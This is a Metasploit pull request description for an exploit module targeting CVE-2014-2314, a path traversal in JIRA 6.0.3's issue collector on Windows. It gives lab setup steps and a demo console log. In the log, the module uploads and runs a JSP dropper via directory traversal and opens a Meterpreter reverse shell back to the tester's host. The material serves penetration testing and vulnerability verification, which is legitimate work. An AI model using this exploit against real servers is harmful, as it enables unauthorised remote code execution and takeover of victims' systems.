rapid7/metasploit-framework — pull request #3177 by jvazquez-r7 (2014-04-02 19:15:56+00:00)
Title: Add module for CVE-2014-2314

Tested successfully on JIRA 6.0.3 for Windows (won't work on unix installations according to advisories).

Verification
========

- [ ] Install a vulnerable environment with Windows 2003 SP2 and Jira 6.0.3: http://www.atlassian.com/software/jira/downloads/binary/atlassian-jira-6.0.3-x32.exe

- [ ] Make a default JIRA installation, otherwise maybe you'll need to configure the advanced options.

- [ ] In the installed JIRA create an issue collector like explained here: https://confluence.atlassian.com/display/JIRA/Using+the+Issue+Collector.

- [ ] From the script code to embed into your page, copy the collector ID, you need it to exploit the vulnerability, and I haven't found a more elegant way to leak the collector ID :(

- [ ] Launch msfconsole and run the exploit like in the demo, hopefully enjoy sessions !

DEMO
---------

```
msf exploit(jira_collector_traversal) > set COLLECTOR 41804626
COLLECTOR => 41804626
msf exploit(jira_collector_traversal) > set RHOST 192.168.172.136
RHOST => 192.168.172.136
msf exploit(jira_collector_traversal) > check
[+] 192.168.172.136:8080 - The target is vulnerable.
msf exploit(jira_collector_traversal) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:8080 - Generating EXE...
[*] 192.168.172.136:8080 - Generating JSP dropper...
[*] 192.168.172.136:8080 - Uploading and running JSP dropper...
[*] ..\..\..\..\..\..\JIRA\atlassian-jira\dUmpTTMB.jsp
[*] {"name":"..\\..\\..\\..\\..\\..\\JIRA\\atlassian-jira\\dUmpTTMB.jsp","id":"7425418739397685250"}
[*] Sending stage (769536 bytes) to 192.168.172.136
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.136:1209) at 2014-04-02 12:33:41 -0500
[+] Deleted ..\..\JIRA\atlassian-jira\dUmpTTMB.jsp
[!] This exploit may require manual cleanup of: ..\..\JIRA\atlassian-jira\wphHhfcw.exe

meterpreter > exit
```